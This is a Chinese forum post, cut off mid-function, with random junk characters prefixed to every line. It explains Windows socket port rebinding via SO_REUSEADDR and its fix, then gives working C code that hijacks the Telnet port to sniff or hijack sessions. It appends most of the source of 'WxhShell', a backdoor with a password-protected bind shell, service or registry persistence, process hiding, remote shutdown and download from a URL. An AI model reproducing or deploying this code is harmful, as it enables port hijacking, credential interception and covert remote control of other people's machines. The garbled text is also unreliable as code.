在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X?"Ro`S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=7("xz% -aMwC5iR@ saddr.sin_family = AF_INET;
K[|d7e M#>f:_`< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
M8lR#2n| dv\oVD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
zPoIs@ z3}4+~~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xZ"kJ'C4} }%-`CJ, 这意味着什么?意味着可以进行如下的攻击:
vCNYqa)m: jZY9Lx8o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;c>Rjg&[ 'uOp?g' 7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Ie;}k;?- seH#v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?3i-wpzMp IF*kLl? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:@X@8j": I-q@@!= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Vi>kK|\b @{n2R3)k
B 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
mE]W#?
\oGZM0j 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
D9&FCCiUE aI8K*D )@ #include
`Uw^,r #include
P3YG:* #include
FCmS3KIa, #include
t
UW'E DWORD WINAPI ClientThread(LPVOID lpParam);
STB=#z int main()
P8s'e_t {
h^0!I TL ^ WORD wVersionRequested;
7"y"%+*/ DWORD ret;
]urcA,a WSADATA wsaData;
N|1k6g=0 BOOL val;
!'C^qrh SOCKADDR_IN saddr;
A]vQ1*pnk SOCKADDR_IN scaddr;
V9m1n=r int err;
|v{a5|<E SOCKET s;
ji2if.t@ SOCKET sc;
G>{;@u int caddsize;
Rf\>bI<. HANDLE mt;
)P.|Xk:r DWORD tid;
B|~\m~ wVersionRequested = MAKEWORD( 2, 2 );
Hp":r%) err = WSAStartup( wVersionRequested, &wsaData );
NLF{W|X if ( err != 0 ) {
|^@TA=_ printf("error!WSAStartup failed!\n");
uoKC+8GA return -1;
aARm nV }
U=%S6uL\bx saddr.sin_family = AF_INET;
fr\UX}o Oox5${#^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!/$BXUrd 5,qfr!hN, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
z{^XU"yB saddr.sin_port = htons(23);
1}!f.cWV( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+B'9!t4 2 {
F:M3^I printf("error!socket failed!\n");
gzHjD-g-< return -1;
s\Cl3 }
Ph.$]yQCc] val = TRUE;
}EOn=* //SO_REUSEADDR选项就是可以实现端口重绑定的
+;z4.C{gM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4aZsz,= {
e}}xZ%$4| printf("error!setsockopt failed!\n");
-]PW\}w1 return -1;
+3t(kQ }
9!FV.yp%F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
zYj8\iER //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q_1EAxt //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;LH?Qu;e 4F8`5)RM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.)u,sYZA| {
\aT._'=M+ ret=GetLastError();
<H E'5b printf("error!bind failed!\n");
/{1 xpR return -1;
mrd(\&EhA }
lTdYPqMi listen(s,2);
oc-7gz) while(1)
hgKs[ySo,3 {
"mT~_BsD caddsize = sizeof(scaddr);
bU:"dqRm< //接受连接请求
^#%$?w>wI sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+V7*vlx- if(sc!=INVALID_SOCKET)
5'>(|7~%\ {
;Z.}~d6>! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
F+L q if(mt==NULL)
g >-iBxml {
|vWx[=`o printf("Thread Creat Failed!\n");
*+qXXCA break;
G*wn[o(^j }
kG,6;aVZ8 }
u 8N+ht@ CloseHandle(mt);
fX} dh9 }
]b<k% closesocket(s);
7,jh44(\= WSACleanup();
UmQ 9_H 7 return 0;
KY"W{D9ib }
I%*o7" DWORD WINAPI ClientThread(LPVOID lpParam)
+5);"71 {
;Cyt2]F SOCKET ss = (SOCKET)lpParam;
w>VM-- SOCKET sc;
-oe&1RrdVg unsigned char buf[4096];
NY1olnI SOCKADDR_IN saddr;
/k}vm3 long num;
O2Rv^la DWORD val;
S <|e/![@ DWORD ret;
0-4WLMx //如果是隐藏端口应用的话,可以在此处加一些判断
]rHdG^0uss //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lgA9p
4- saddr.sin_family = AF_INET;
"vjz $. saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}e9:2 saddr.sin_port = htons(23);
R[Kyq|UyVr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
KH2a 2 {
cy/;qd+!M printf("error!socket failed!\n");
&Cdk%@Tj]B return -1;
1"~@UcJ }
@oug^]a val = 100;
k9WihejS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T6-e {
&HZ"<y{j ret = GetLastError();
7PP76$ return -1;
i6(y Bn }
+<AX
0( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`;4zIBJ {
jcOxtDTSW ret = GetLastError();
C8@SuJ return -1;
;9 XM
s) }
CQzJ_aSJ( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
sRb)*p' {
R^fVwDl\ printf("error!socket connect failed!\n");
) <^9` closesocket(sc);
(+bk +0 closesocket(ss);
U{n
0Z return -1;
~ N_\V }
xC!, v 0& while(1)
^B>
4:+^ {
fkyj&M/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
hU+sg~E //如果是嗅探内容的话,可以再此处进行内容分析和记录
i4v7x;m_p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[D?RL`ZF num = recv(ss,buf,4096,0);
)iluu1,o if(num>0)
*V3 }L
Z send(sc,buf,num,0);
K
)1K ] else if(num==0)
i@Q)`>4 break;
4wMKl6mL num = recv(sc,buf,4096,0);
-&D~TL# if(num>0)
"F}anPY send(ss,buf,num,0);
x:"_B else if(num==0)
:kflq break;
VGA?B@ }
q9yY% closesocket(ss);
"+r8izB closesocket(sc);
7oh6G return 0 ;
]6W#P7 }
b 9F=}.4 .z7F58 '1|r+(q|2 ==========================================================
4U~[8U}g m(XcPb 下边附上一个代码,,WXhSHELL
C B=H1+ r2qxi' ==========================================================
Pc`d@q C8DZ:3E$c #include "stdafx.h"
w,;CrW T2t PDzVXLpC #include <stdio.h>
s==gjA e: #include <string.h>
iAbtv^fn #include <windows.h>
mz3!HksZ" #include <winsock2.h>
[F*t2 -ta #include <winsvc.h>
X'IW&^kI #include <urlmon.h>
'kL>F&| 'h.{fKG]ME #pragma comment (lib, "Ws2_32.lib")
"<t/*$42 #pragma comment (lib, "urlmon.lib")
g(>;Z@Y
/H^=`[Mr #define MAX_USER 100 // 最大客户端连接数
j{0_K+B #define BUF_SOCK 200 // sock buffer
;Pnz4Y4|eU #define KEY_BUFF 255 // 输入 buffer
\NDSpT<Z 7y&Fb #define REBOOT 0 // 重启
|\*7J!Liv #define SHUTDOWN 1 // 关机
RN]4 Is: tb/bEy^
#define DEF_PORT 5000 // 监听端口
b`PAOQ OTl\^! #define REG_LEN 16 // 注册表键长度
`BmAu[(e& #define SVC_LEN 80 // NT服务名长度
~}i&gd|( \@8$tQCZ // 从dll定义API
;KWR/?ec typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#&\^{Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Gc<J x|Q7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~ 61O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2d >kc2=* 5Q^
L"&0 // wxhshell配置信息
h3h2 KqM' struct WSCFG {
Ma0_!|i int ws_port; // 监听端口
S92'\2 char ws_passstr[REG_LEN]; // 口令
Bi]`e_(} int ws_autoins; // 安装标记, 1=yes 0=no
8G?'F${` char ws_regname[REG_LEN]; // 注册表键名
KxqT5`P& char ws_svcname[REG_LEN]; // 服务名
!O-q13\Y char ws_svcdisp[SVC_LEN]; // 服务显示名
sf2_x>U1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
xiX~*Zs char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:G?"BL5vP int ws_downexe; // 下载执行标记, 1=yes 0=no
#)AcK|*y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
vS6}R5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
jW}n6w5 tY C`?HT };
- (VV `Yn^ -W // default Wxhshell configuration
[#fXmW>N/ struct WSCFG wscfg={DEF_PORT,
KM*sLC# "xuhuanlingzhe",
4r\Sbh 1,
HIcx "y "Wxhshell",
:=+s^K "Wxhshell",
6+_)(+c "WxhShell Service",
>r2m1}6g" "Wrsky Windows CmdShell Service",
L~cswG'K "Please Input Your Password: ",
J/pW*G-U| 1,
2^Tj7@ "
http://www.wrsky.com/wxhshell.exe",
&n|#jo(gS "Wxhshell.exe"
h6c8hp. };
7]_UZ)u Sd2R$r // 消息定义模块
=#[_8)q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dJ"3F(X char *msg_ws_prompt="\n\r? for help\n\r#>";
kzZtKN9Az char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C0[Rf.* char *msg_ws_ext="\n\rExit.";
^)m]j`}IGb char *msg_ws_end="\n\rQuit.";
@#c(4}^ <w char *msg_ws_boot="\n\rReboot...";
f#pT6 char *msg_ws_poff="\n\rShutdown...";
6]Q
~c"+5 char *msg_ws_down="\n\rSave to ";
Ash"D~ r*C:)z.} char *msg_ws_err="\n\rErr!";
B!K{y>|. char *msg_ws_ok="\n\rOK!";
N#Bg`:! C"PN3>x}j char ExeFile[MAX_PATH];
hun
LV8z int nUser = 0;
c>{6NSS - HANDLE handles[MAX_USER];
yb1A(~ int OsIsNt;
.^N+'g *,-)4)7d SERVICE_STATUS serviceStatus;
-@b&qi7&S SERVICE_STATUS_HANDLE hServiceStatusHandle;
%;(+s7 W@GcE;#- // 函数声明
Sdz!J 1 int Install(void);
^2[0cne int Uninstall(void);
U5jY/e_ int DownloadFile(char *sURL, SOCKET wsh);
O$J'BnPpw int Boot(int flag);
lY[>}L*H8 void HideProc(void);
yL^1s\<ddW int GetOsVer(void);
[&k[k) int Wxhshell(SOCKET wsl);
`9B xDp]I void TalkWithClient(void *cs);
l"p%]\tZ int CmdShell(SOCKET sock);
_|D8~\y int StartFromService(void);
:!;BOCTYI int StartWxhshell(LPSTR lpCmdLine);
'
jR8 3A* XA5gosq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
k[R/RhHQ, VOID WINAPI NTServiceHandler( DWORD fdwControl );
zkYlIUD g-U'{I5F // 数据结构和表定义
O?p.kf{b SERVICE_TABLE_ENTRY DispatchTable[] =
Mc oHV]x {
jb$sIZ%i {wscfg.ws_svcname, NTServiceMain},
G1
%c<1Y {NULL, NULL}
2f] :n };
EMU~gwPR fz31di9$ // 自我安装
8)&yjY int Install(void)
%1 <No/ {
q]=.Aik char svExeFile[MAX_PATH];
)5_GJm&R9 HKEY key;
t*5d'aE`/ strcpy(svExeFile,ExeFile);
Na=9ju VG*BAFs // 如果是win9x系统,修改注册表设为自启动
g3 6oEz~| if(!OsIsNt) {
8Y3c,p/gS> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;Jr6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
eft-]c+*0 RegCloseKey(key);
{H#1wu^]O$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YiB]}/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Qzw~\KY: RegCloseKey(key);
?`_US7.@ return 0;
~;_]U[eOL }
GeWB"(t }
E)3B)(@&P }
PvBx<i}A else {
cEnkt= P5* :r3> // 如果是NT以上系统,安装为系统服务
ZZA!Y9ia2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!p >a,8w if (schSCManager!=0)
nS"K
dPM {
o<1e- SC_HANDLE schService = CreateService
GBzC<e# (
s+(%N8B schSCManager,
TDBWYppM wscfg.ws_svcname,
BWFl8
!_X wscfg.ws_svcdisp,
/p~"?9b[ i SERVICE_ALL_ACCESS,
\)eHf
7H
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~0w7E0DE[ SERVICE_AUTO_START,
J5)e 7 SERVICE_ERROR_NORMAL,
91r9RG> svExeFile,
&eQzfx=|km NULL,
eJ+;!0 NULL,
L~x3}o$-o NULL,
h>sz@\{ NULL,
OYzt>hdH NULL
'Y(#Yxc );
gP/[=: if (schService!=0)
%E?:9. :NJ {
Q IQB CloseServiceHandle(schService);
[6K2V:6: CloseServiceHandle(schSCManager);
>/;\{IG
Wn strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\NhCu$' strcat(svExeFile,wscfg.ws_svcname);
#x1AZwC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@k<RX'~q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@^a6^*X> RegCloseKey(key);
gn1`ZYg return 0;
O_K@\<;~ }
;@Ep?S@ }
z{pNQ[t1Z CloseServiceHandle(schSCManager);
q~p,A>K }
"h_]it};C }
zwR@^ 5^6 $_k'!/5 return 1;
t>7t4>X }
"Ol;0>$ %1gJOV // 自我卸载
bW;0E%_ int Uninstall(void)
)&1yt4
x6% {
leiED' HKEY key;
>s1FTB-$W &JAQ:([: if(!OsIsNt) {
J_}&Btb)e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Xx[
LK RegDeleteValue(key,wscfg.ws_regname);
p|,K2^?Y RegCloseKey(key);
auAST;"Z8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0(|R NV_ RegDeleteValue(key,wscfg.ws_regname);
F+*>q RegCloseKey(key);
)wP0U{7?v return 0;
}r]WB)_w }
r/HKxXT }
@I\Z2-J }
jz't!wj else {
t!c8c^HR aQCbRS6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vY *p][$ if (schSCManager!=0)
r=n|MT^O {
?)<zrE5p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
aw/Y# if (schService!=0)
4D"IAI {
1@yXVD/ if(DeleteService(schService)!=0) {
h#zx^F1 CloseServiceHandle(schService);
EAF<PMb CloseServiceHandle(schSCManager);
I|RN/RVN return 0;
=}\]i* }
FRF3V> CloseServiceHandle(schService);
)~_!u}+:( }
WEqHL,Uh] CloseServiceHandle(schSCManager);
Xx:0Nt] }
>r{3t{ }
TUJ]u2J8? W2|*:<Jt return 1;
CWE
jX- }
eM/|"^% \cPGyeq // 从指定url下载文件
`PSr64h:D int DownloadFile(char *sURL, SOCKET wsh)
|O\(<n S {
/AJ^wY HRESULT hr;
f<xF+wE char seps[]= "/";
$%;NX[>j char *token;
<3P?rcd,5K char *file;
I
m_yY char myURL[MAX_PATH];
+
h`:qB char myFILE[MAX_PATH];
yZxgUF&` wz.Il-sm strcpy(myURL,sURL);
]O<Yr' token=strtok(myURL,seps);
]SBv3Q0D7 while(token!=NULL)
3Aaj+=]W {
NTXT0: file=token;
;&WN%L* token=strtok(NULL,seps);
}tft@,dIC }
Xu3^tH-b< ~Az20RrK) GetCurrentDirectory(MAX_PATH,myFILE);
dLD"Cx strcat(myFILE, "\\");
aZ=WK4 strcat(myFILE, file);
1)#<nk)I send(wsh,myFILE,strlen(myFILE),0);
~IE:i-Kz send(wsh,"...",3,0);
=zVbZ7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1kio.9NIp if(hr==S_OK)
1dfA
8=L,s return 0;
'0H+ 2 else
8 PXleAn return 1;
VOG DD@ $Y$!nPO }
2s-f?WetbP i= ~HXr} // 系统电源模块
jA=uK6m int Boot(int flag)
n.$<D[@ {
)K@ 20Q+0K HANDLE hToken;
gD=s~DgN) TOKEN_PRIVILEGES tkp;
s=q\BmG BRoi`.b: if(OsIsNt) {
z9h`sY~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'QeqWn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'9auQ(2 tkp.PrivilegeCount = 1;
t@}<&{zk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~rpYZLH/:0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|YZ`CN<
if(flag==REBOOT) {
QV{Nq=%] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<FS/'[P return 0;
l:+tl/ }
SnQ$ else {
d#ld*\| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8k_,Hni return 0;
SwC,=S }
*sAoYx }
xhUQ.(S`r6 else {
8Y5*
1E* if(flag==REBOOT) {
YvBUx#\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1(q!.lPc return 0;
H1\~T }
deHBY4@ else {
+]uy if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!G\1$"T$ return 0;
8"oS1W }
w$Dp m.0( }
V }8J&(\ >/e#Z
h return 1;
4yRT!k}o }
Ba`]Sm= qf)]!wU9 // win9x进程隐藏模块
9!bD|-6y void HideProc(void)
((.PPOdJV {
WpTC,~- %*|XN*i XC HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
yc%AkhX* if ( hKernel != NULL )
gP/]05$e {
IFG`
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*ZN"+wf\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
E_
mgYW*5 FreeLibrary(hKernel);
CXUNdB }
*ArzXhs[ lJ7k4ua\ return;
m?[F)<~a }
t$\]6RU K\?vTgc( // 获取操作系统版本
qmxkmO+Qur int GetOsVer(void)
-|f9~(t {
HkEp}R OSVERSIONINFO winfo;
q#OLb"bTr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"<!|am( GetVersionEx(&winfo);
rB=1*.}FLc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"Jv&=zJ return 1;
AqN(htGvx else
PCw.NJd$ return 0;
U,Z(h }
O~qB N66jFRA;x // 客户端句柄模块
b?w4Nx# int Wxhshell(SOCKET wsl)
{_k 6 t {
{tWfLfzU SOCKET wsh;
/eIwv31 struct sockaddr_in client;
l l&iMj] DWORD myID;
>St c:=Z<0S; while(nUser<MAX_USER)
I*ho@`U {
vKaX,)P;? int nSize=sizeof(client);
nH[@EL wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r43dnwX if(wsh==INVALID_SOCKET) return 1;
|nm,5gPNC }O
o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
zlSwKd( if(handles[nUser]==0)
M.|hnGXN closesocket(wsh);
o^7NZ]m else
Ui?t@. nUser++;
'BUdySng }
^]aDLjD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
P6IhpB59 Qz<v. _ return 0;
oO= 6Kd+T }
WBC'~ h<@ yP-.8[; // 关闭 socket
$]Fe9E? void CloseIt(SOCKET wsh)
jq}5(*k {
={z YcVI closesocket(wsh);
-sc@SoS nUser--;
[$] JvF ExitThread(0);
C
#TS }
Nk^#Sa? u!g<y // 客户端请求句柄
VK$+Nm) void TalkWithClient(void *cs)
0'L+9T5 {
JY>]u*= CrqWlO SOCKET wsh=(SOCKET)cs;
Dj<Vn%d* char pwd[SVC_LEN];
7&T1RB'> char cmd[KEY_BUFF];
u9VJ{F char chr[1];
/D~z}\k int i,j;
6'qs=Ql B&.XGo) while (nUser < MAX_USER) {
2Db[dk( ] C9bf1ddCW& if(wscfg.ws_passstr) {
Gc
SX5c if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4|Z3;;%+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I.(/j //ZeroMemory(pwd,KEY_BUFF);
CZbp}:| i=0;
:L\@+}{(c while(i<SVC_LEN) {
bLf }U9 ~~yo& ] // 设置超时
OFDPtJ wV fd_set FdRead;
1}V_:~7 struct timeval TimeOut;
#]:nQ( FD_ZERO(&FdRead);
4'X^YBm FD_SET(wsh,&FdRead);
fmloh1{4 TimeOut.tv_sec=8;
}|A%2!Q} TimeOut.tv_usec=0;
_jnH!Mw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
zeR!Y yt! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*4r;H2%c ii~~xt1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
N^`F_R1Z pwd
=chr[0]; {){i
ONd
if(chr[0]==0xd || chr[0]==0xa) { 1[B?nk
pwd=0; UHR)]5Lt
break; v)X1R/z5xw
} ~Jq<FVK
i++; wAy;ZNu
} ^iTjr$hQ;
>gVR5o
// 如果是非法用户,关闭 socket srC'!I=s>8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *+Q,b ^N
} ~0worI?
gbKms;:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^*Rr x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'MsxZqW"~
4pA(.<#A
while(1) { \Dr@n^hk@[
lfWxdi
ZeroMemory(cmd,KEY_BUFF); *[_?4*F
i<&2Ffvq
// 自动支持客户端 telnet标准 v( (fRX.`
j=0; *4+;Ey
while(j<KEY_BUFF) { 3:);vh!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \_BaV0<
cmd[j]=chr[0]; h4.ZR={E
if(chr[0]==0xa || chr[0]==0xd) { ?M\3n5;
cmd[j]=0; BIX%Bu0'f
break; qW7S<ouh
} uZW1
:cx
j++; wRU pQ~=B2
} j;<;?IW
RCgs3JIE+2
// 下载文件 ,=z8aiUu
if(strstr(cmd,"http://")) { m qtl0P0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); w{Dk,9>w)
if(DownloadFile(cmd,wsh)) [h,T.zpa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 13
else n; !t?jnf.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #nn2odR
} |4wVWJ7
else { kGX`y.-[
O7q-MeMM
switch(cmd[0]) { %'EOFv]
w,JB`jS)/
// 帮助 KWhw@y-5j@
case '?': { eGnc6)x@C
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0} HKmEM
break; knF *~O :y
} 0y|}}92:
// 安装 Vk>aU3\c
case 'i': { 9j9A'Y9(
if(Install()) rWSw1(sAA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VU)ywIs
else >#c]rk:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
KqaeRs.u
break; aoMQ_@0
} b6oPnP_3P
// 卸载 v,1.n{!;
case 'r': {
:E'38~
if(Uninstall()) \+S~N:@><k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%_x T
else -Z]?v3
9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sa*]q~a
break; "S)4Cjk
} RQ9T<t42
// 显示 wxhshell 所在路径 9k2HP]8=[{
case 'p': { j'CRm5O
char svExeFile[MAX_PATH]; 4z[Z3|_V
strcpy(svExeFile,"\n\r"); ^vo^W:
strcat(svExeFile,ExeFile); USe"1(|E
send(wsh,svExeFile,strlen(svExeFile),0); K3'`!K a*
break; ~eqX<0hf@
} _<kE32Bb
// 重启 \asF~P
case 'b': { S 8h/AW6l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q|+m)A4@
if(Boot(REBOOT)) lHz:Iibt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }=7tGqfw
else { &bnF{~<\
closesocket(wsh); 7P!/jawxb
ExitThread(0); u[PO'6Kzd
} WB$Z<m:
break; jcFh2
} ]?mWnEi!z
// 关机 QoI@/
jLj
case 'd': { :NS;y-{^^y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MdZ7Yep
if(Boot(SHUTDOWN)) mNm
8I8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 56&s'
else { g#5g0UP)V
closesocket(wsh); HIi"zo=V
ExitThread(0); 6Z|/M6f
} &R pQ2*4n
break; A
CJmy2
} BJ~Q\Si6
// 获取shell ~F>oNbJIv
case 's': { kzgHp,;R{
CmdShell(wsh); )v8;\1`s:
closesocket(wsh); u ldea)
ExitThread(0); w0tlF:Eg
break; LDr!d1A
} RiaO`|1
// 退出 EmG`ga)s
case 'x': { C[? itk!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7Dom[f
CloseIt(wsh); C6CX{IA]
break; @QVAsNW:O
} IS]0 3_uQ
// 离开 >Mrz$
z{x
case 'q': { m'oVqA&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Joq9.%7Q
closesocket(wsh); 8+v6%,K2
WSACleanup(); {Kd9}CDAZ
exit(1); u =#LY$
break; BAg*zYV7
} <w.V !"!
} _N9yC\
} E)H8jBm6w
E=sBcb/v
// 提示信息 9BNAj-Xa
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [WX+/pm7>
} X1#D}
} {3`#? q^o'
U7tT
return; w&`gx6?-na
} q;tsA"l
(fm\kV
// shell模块句柄 = J).(E89
int CmdShell(SOCKET sock) tG{e(
{ 6<sB
STARTUPINFO si; dq"b_pr;
ZeroMemory(&si,sizeof(si)); >UWLT;N/W
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {foF[M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y%}Po)X]f
PROCESS_INFORMATION ProcessInfo; @Mt6O_V
char cmdline[]="cmd"; L'"20=sf
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2~ Gcoda
return 0; 8X5;)h
} dGP*bMCT
L.l%EcW=,
// 自身启动模式 _BtppQIWv
int StartFromService(void) {5^'u^E
{ HBo^8wN
typedef struct m$pXe<
{ NVeb,Pf
DWORD ExitStatus; i+Ob1B@w
DWORD PebBaseAddress; 3,3{wGvHHW
